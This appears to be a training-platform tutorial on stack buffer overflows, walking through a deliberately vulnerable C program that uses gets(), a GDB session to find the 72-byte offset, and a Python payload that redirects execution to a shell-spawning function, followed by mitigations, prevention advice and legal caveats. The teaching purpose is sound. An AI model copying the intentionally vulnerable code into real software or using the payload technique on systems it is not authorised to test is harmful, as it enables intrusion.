A buffer overflow happens when a program writes more data into a block of memory than that block was sized to hold, and the surplus lands on whatever sat next to it. On the stack, that neighbor is usually the address the CPU will jump to when the current function finishes. Overwrite it with one of your own and you stop being a user of the program and start directing it. This guide walks the attack end to end with a binary you can compile yourself, then shows the four protections that made it hard. HackerDNA's buffer overflow chapter runs the same exercise with a debugger open, in a browser tab instead of a lab VM.
The technique dates back to the Morris Worm in 1988, which is usually where people stop reading and conclude it has been solved. It has not. Seven buffer overflow entries were added to CISA's Known Exploited Vulnerabilities catalog between January and August 2026, and the most recent was a five-year-old bug in consumer router firmware.
TL;DR: A buffer overflow overwrites memory past the end of a buffer, and on the stack that memory holds the saved return address. Send 72 bytes of padding plus an 8-byte address into a 64-byte buffer and the program returns wherever you point it. Modern builds stop the naive version with stack canaries, non-executable memory, ASLR and position-independent code, which is why current exploitation is about reusing code already in the binary rather than injecting new code.
What Is a Buffer Overflow?
A buffer overflow is a memory corruption bug in which a program writes data past the end of a fixed-size buffer, overwriting adjacent memory. When the overwritten memory contains control data such as a function's return address, an attacker who controls the input controls where the program executes next.
Two conditions have to line up. The program needs a buffer with a fixed size, and it needs a copy operation that does not check how much it is copying. C and C++ hand you both by default: char user[64] allocates exactly 64 bytes, and gets(), strcpy(), sprintf() and memcpy() with an attacker-influenced length will happily write past the end of it. There is no bounds check unless the programmer writes one.
That is why the vulnerability class is inseparable from the languages that allow it. Java, Go, Rust, Python and C# insert bounds checks or track ownership, and an out-of-range write raises an exception rather than quietly corrupting the next variable. Buffer overflows live where C and C++ live: kernels, network daemons, media parsers, firmware, drivers, and the billions of embedded devices shipped with a compiler from 2014 that will never be updated.
The vocabulary trips people up, so here is the map. Buffer overflow is the general behavior. Stack overflow means the buffer was a local variable. Heap overflow means it came from malloc(). Out-of-bounds write is the formal weakness class, catalogued as CWE-787, which ranked fifth in the 2025 CWE Top 25 published that December. Stack-based buffer overflow gets its own identifier, CWE-121, at rank 14 on the same list.
How a Stack Buffer Overflow Actually Works
Everything about the attack follows from one design decision made decades ago: on x86-64, the return address is stored on the same stack as local variables, and it sits above them.
What the stack frame looks like
Calling a function pushes the address execution should resume at when that function returns. The function then sets up its own frame and allocates locals below that saved address. A frame holding a 64-byte buffer looks like this, from low memory address to high:
char user[64], the buffer, 64 bytes- saved
RBP, the caller's frame pointer, 8 bytes - saved
RIP, the return address, 8 bytes
Writing into user moves upward through that list. The first 64 bytes fill the buffer. Bytes 65 through 72 land on the saved frame pointer. Bytes 73 through 80 land on the return address. That arithmetic, 64 plus 8 equals 72, is the offset you are always hunting for.
What happens at the ret instruction
The ret instruction does one thing: it pops eight bytes off the top of the stack into the instruction pointer and jumps there. It does not validate them. If those eight bytes are AAAAAAAA, the CPU faults trying to execute at 0x4141414141414141 and you get a segmentation fault. If they are the address of a real function, the CPU calls it, and the program behaves as if it had been written to do so. That is the whole difference between a crash and an exploit.
A Buffer Overflow Example You Can Run Today
Here is a program with the bug in it. Save it as vuln.c:
#include <stdio.h>
#include <stdlib.h>
void win(void) {
puts("[+] win() reached - spawning shell");
system("/bin/sh");
}
void login(void) {
char user[64];
printf("Username: ");
gets(user);
printf("Access denied for %s\n", user);
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
login();
return 0;
}
win() is never called. It exists in the binary and nothing reaches it, which is why this pattern is called ret2win. Compile with the modern protections switched off, because the goal here is to see the mechanism before seeing what defeats it:
$ gcc -fno-stack-protector -z execstack -no-pie -g -o vuln vuln.c
/usr/bin/ld: warning: the `gets' function is dangerous and should not be used.
That linker warning is not a formality. gets() has no safe usage at all, which is why the C standards committee removed it outright in C11 rather than deprecating it further. Four steps take you from source to shell.
- Find the crash. Feed the program a long non-repeating pattern instead of a flat run of A's, so that the bytes that reach the return address tell you where they came from.
pwntoolsgenerates one withcyclic(120). - Read the offset off the stack. Run it under GDB and look at what is sitting at the top of the stack when it faults:
Those eight bytes decode, little-endian, to$ gdb -q -batch -ex "run < pattern.txt" -ex "x/1gx \$rsp" ./vuln Program received signal SIGSEGV, Segmentation fault. 0x000000000040122d in login () at vuln.c:14 0x7fffffffcd88: 0x6161617461616173saaataaa. Search the pattern for that substring and it starts at index 72. No guessing, no binary search, one run. - Get the target address.
nm vuln | grep -w winreturns00000000004011b6 T win. Because the binary was built with-no-pie, that address is fixed for every run. - Build the payload. Seventy-two bytes of padding, then the address of
win()packed little-endian:$ python3 -c "import sys,struct; sys.stdout.buffer.write(b'A'*72 + struct.pack('<Q', 0x4011b6))" > payload $ (cat payload; echo; cat) | ./vuln Username: Access denied for AAAAAAAA... [+] win() reached - spawning shell id uid=0(root) gid=0(root) groups=0(root)
In practice two snags bite on this exact program, and both are worth knowing before they cost you an afternoon. Stack alignment comes first: system() in modern glibc uses SSE instructions that fault unless RSP is 16-byte aligned at the call, so if win() reaches system() and dies there, prepend a bare ret gadget to shift the stack by eight bytes. Then there is stdin buffering. gets() may swallow the whole pipe into its stdio buffer, so your new shell reads EOF and exits before you can type, and the (cat payload; echo; cat) construction above is what keeps the pipe open.
One clarification on that uid=0(root) line, because it is the most common misreading of a ret2win demo. This ran in a throwaway container whose only user is root. A buffer overflow gives you the privileges the process already had. It is an execution primitive, not a privilege escalation technique, and the two only combine when the vulnerable binary is setuid or running as a service account.
Stack, Heap and Integer Overflows
The example above is a stack overflow, which is where everyone starts because the control data is right there next to the buffer. Two other families come up constantly in real advisories.
| Type | Where the buffer lives | What gets corrupted | Typical difficulty |
|---|---|---|---|
| Stack overflow | Local variable in a function frame | Saved return address, frame pointer, other locals | Lowest |
| Heap overflow | Memory from malloc() | Allocator metadata, function pointers in adjacent objects | Higher |
| Integer overflow leading to buffer overflow | Either | The size calculation itself, which then undersizes the allocation | Varies |
Heap overflows are where the interesting bugs have moved. There is no return address next to a heap buffer, so exploitation means corrupting allocator bookkeeping or a neighboring object's function pointer, which requires shaping the heap layout first. The payoff is that heap bugs survive the protections that killed easy stack exploitation. Use After Free, CWE-416, ranked seventh on the 2025 CWE Top 25, two places above the classic buffer copy weakness.
The integer case hides well in code review. A function computes malloc(count * size), an attacker supplies a count large enough to wrap the multiplication, the allocation comes back far smaller than intended, and the copy that follows overflows a buffer that looked correctly sized three lines earlier. sudo's CVE-2021-3156 was a cousin of this: an off-by-one in backslash unescaping produced a heap overflow giving root on every sudo release from July 2011 to January 2021, a decade of a bug sitting in the most audited setuid binary on Linux.
Why Buffer Overflows Still Matter in 2026
The honest short answer is that they matter less than they did in 2005 and more than most defenders assume. The numbers back both halves of that.
Memory safety bugs remain the dominant vulnerability class in large C and C++ codebases. Microsoft's Matt Miller reported at BlueHat in 2019 that roughly 70 percent of the CVEs the company had patched over the previous twelve years were memory safety issues, and the Chromium project reports the same 70 percent figure for its high-severity bugs, measured across 912 of them since 2015.
What has changed is which overflows get exploited in the wild, and CISA's Known Exploited Vulnerabilities catalog answers that better than any vendor report, because every entry is a bug someone actually used against a real target. Of the 1,662 entries in the catalog as of 10 August 2026, 84 are described as buffer overflows, about five percent. Sorting those 84 by the date CISA added them shows where the class ended up:
- Network appliances and firewalls. CVE-2025-53521, a stack-based buffer overflow in F5 BIG-IP APM leading to remote code execution, was added in March 2026. Edge devices parse untrusted traffic in C before any authentication happens, which is the worst possible combination.
- Consumer and embedded firmware. CVE-2021-27137, a stack overflow in DD-WRT's UPnP handler reachable without authentication, was added in July 2026. The CVE is five years old. Router firmware does not get patched, so the bug simply waits.
- Mobile and desktop operating systems. Three separate Apple buffer overflow issues reached the catalog between February and March 2026, all in code paths handling attacker-supplied media or network data.
The pattern is consistent. Nobody is exploiting a stack overflow in a freshly compiled Linux server application, because compiler defaults make that unprofitable. They are exploiting the parts of the estate compiled a decade ago, running on architectures with weaker mitigations, with no update path. If you are choosing where to look during a network engagement, that is the shortlist.
The Four Protections That Made Buffer Overflows Hard
Recompile the exact same vuln.c from earlier with no flags at all and the attack falls over immediately:
$ gcc -o vuln_hardened vuln.c
$ python3 -c "import sys; sys.stdout.buffer.write(b'A'*72 + b'\xb6\x11\x40\x00\x00\x00\x00\x00')" | ./vuln_hardened
Username: Access denied for AAAAAAAA...
*** stack smashing detected ***: terminated
Aborted
Nothing about the source changed. Four separate mitigations, all on by default in Ubuntu's gcc 13.3, are doing the work.
- Stack canaries. The compiler places a random value between the local buffers and the saved return address, then checks it is intact before returning. Overwrite the return address and you necessarily overwrite the canary first, which produces the
stack smashing detectedabort above. Confirm one is present withnm binary | grep stack_chk. - Non-executable memory, NX or DEP. Stack pages are mapped writable but not executable, so shellcode written into a buffer faults when the CPU tries to run it.
readelf -lW binary | grep GNU_STACKshowsRWon the hardened build andRWEon the one built with-z execstack. This single change retired the entire generation of tutorials that teach you to inject shellcode onto the stack. - ASLR. The kernel randomizes where the stack, heap and libraries land on every execution, so a hardcoded address is wrong on the next run. Linux has had it on by default since 2005, controlled through
/proc/sys/kernel/randomize_va_space. - Position-independent executables. ASLR only randomizes the program's own code if the binary is built as PIE. Check with
readelf -hW binary | grep Type:DYNis position-independent,EXECmeans addresses are fixed and0x4011b6stays valid on every run. That is why the demo used-no-pie.
Attackers adapted rather than giving up. Non-executable stacks pushed exploitation toward return-oriented programming, which chains short instruction sequences already present in the binary and never injects new code. ASLR pushed it toward leaking real addresses out of the target first and building the payload second. Both are covered in the binary exploitation course, and both are far more work than the four steps above, which is the point of a mitigation.
Worth checking first, every time: run checksec --file=binary before you write a single byte of payload. Canary, NX, PIE and RELRO status determine which technique is even possible, and five seconds of reading saves an hour of building an exploit for a defense the target does not have.
How to Prevent Buffer Overflows
How do you prevent a buffer overflow? Use a memory-safe language for new code, replace unbounded copy functions with length-checked equivalents in existing C and C++, keep every compiler hardening flag enabled, and run continuous fuzzing with a sanitizer so overflows surface in testing instead of production.
In order of how much risk each step removes:
- Write new components in a memory-safe language. This eliminates the class rather than mitigating it. CISA, the NSA, the FBI and partner agencies from Australia, Canada, New Zealand and the UK published The Case for Memory Safe Roadmaps in December 2023 urging manufacturers to publish exactly such a plan, and the NSA followed with dedicated memory-safe language guidance in June 2025. Rewriting a million-line C codebase is rarely realistic. Writing the new parser in Rust usually is.
- Delete the dangerous functions.
gets()has no safe usage and was removed from C11.strcpy(),strcat()andsprintf()write until they hit a null byte with no idea how large the destination is. Their bounded replacements,snprintf()andstrlcpy(), need a size argument, which forces the programmer to think about it once. - Turn on the compiler.
-D_FORTIFY_SOURCE=3,-fstack-protector-strong,-fstack-clash-protection,-Wl,-z,relro,-z,nowand PIE cost almost nothing at runtime and each closes off a technique. Add-fcf-protectionon x86-64, or branch target identification on modern ARM, so hardware control-flow integrity rejects jumps to addresses that are not valid function entry points. - Fuzz continuously with sanitizers on. AddressSanitizer catches out-of-bounds writes as they happen rather than whenever the corrupted memory is next read, turning a heisenbug into a stack trace. Pair
-fsanitize=addresswith libFuzzer or AFL++ and point it at every function parsing input from outside your trust boundary. - Patch the edge first. The KEV data above is unambiguous about where exploitation actually happens. VPN concentrators, firewalls, load balancers and routers deserve a faster patch window than internal application servers.
One caution on the compiler flags. They raise the cost of exploitation, they do not remove the bug, and an attacker holding an information leak works through all of them. Treat mitigations as time bought for the patch, not as a fix.
Frequently Asked Questions
What is the difference between a buffer overflow and a stack overflow?
A buffer overflow is writing past the end of any fixed-size buffer. A stack overflow, in the exploitation sense, is one where the buffer was a local variable in a function frame, which puts the saved return address within reach. Confusingly, the same phrase also describes stack exhaustion from runaway recursion, which is a crash rather than a memory corruption bug.
Are buffer overflows still exploitable in 2026?
Yes, though rarely in the textbook form. Stack canaries, non-executable memory and ASLR make the classic overwrite-and-jump attack fail on any recently compiled binary. Exploitation moved to heap corruption, information leaks combined with return-oriented programming, and embedded targets that ship without those mitigations. CISA added seven new buffer overflow entries to its Known Exploited Vulnerabilities catalog in the first eight months of 2026.
Which programming languages are vulnerable to buffer overflows?
Primarily C, C++, and assembly, along with any language that calls into them through a foreign function interface. Java, C#, Python, Go, JavaScript and safe Rust perform bounds checks and raise an exception or panic instead of corrupting adjacent memory. Rust's unsafe blocks and C extension modules in Python are the usual escape hatches worth auditing.
Do I need to know assembly to exploit a buffer overflow?
You need to read it, not write it. For a stack overflow, recognize function prologues and epilogues, follow a call and a ret, and know what RSP, RBP and RIP hold. That is roughly a weekend of study. Return-oriented programming raises the bar because you select gadgets by their instruction sequences, but tools like ropper do the searching.
Legal and Ethical Considerations
Critical reminder: compile and attack binaries you wrote or that were built for training. Sending crafted input to software you do not own can constitute unauthorized access under the Computer Fraud and Abuse Act in the United States, the Computer Misuse Act in the United Kingdom, and equivalent statutes elsewhere, and a memory corruption attempt that fails usually crashes the service, which turns a curiosity into an outage.
Two points are specific to this class of bug. Fuzzing is not passive: pointing a fuzzer at a live service is a sustained crash-inducing workload, so it belongs on your own copy of the target and inside a scoped window that says so in writing. And if you find a genuine overflow in software you do not own, OWASP's write-up on buffer overflow attacks works as a reference in a disclosure report, alongside the crash input, the affected version, and no more proof of concept than it takes to establish the finding.
Coordinated disclosure also matters more here than in web security. A working memory corruption exploit for a network daemon is a serious capability, and publishing one before a patch exists puts every unpatched deployment at risk in a way a proof-of-concept XSS payload does not.
Your Next Steps With Buffer Overflows
The mechanism behind a buffer overflow is small enough to hold in your head: input runs past the end of a buffer, reaches the saved return address, and the ret instruction jumps wherever you told it. ROP chains, format string bugs and heap grooming are all built on that one idea, which is why it is worth doing by hand once rather than reading about five times.
Ignore the tutorials still teaching 32-bit x86 with shellcode on the stack and ASLR switched off. That approach died with NX, and the register names alone will confuse you in front of a real 64-bit binary. Compile the vuln.c above, get your own segfault this week, and install pwndbg or GEF while you are at it, because a stack view that labels the return address in color saves more time than any other tooling decision here.
From there, Binary Secrets is an evening-long warm-up in reading file structure, and the Hack the Box lab finishes in an ARM64 ROP chain built with pwntools and ropper. The binary exploitation course covers the same ground across ten chapters, from stack layout to ROP, format strings, heap corruption and shellcode, with a protections chapter on what to do when the easy path closes. Everything runs in the browser, and the free tier needs no credit card.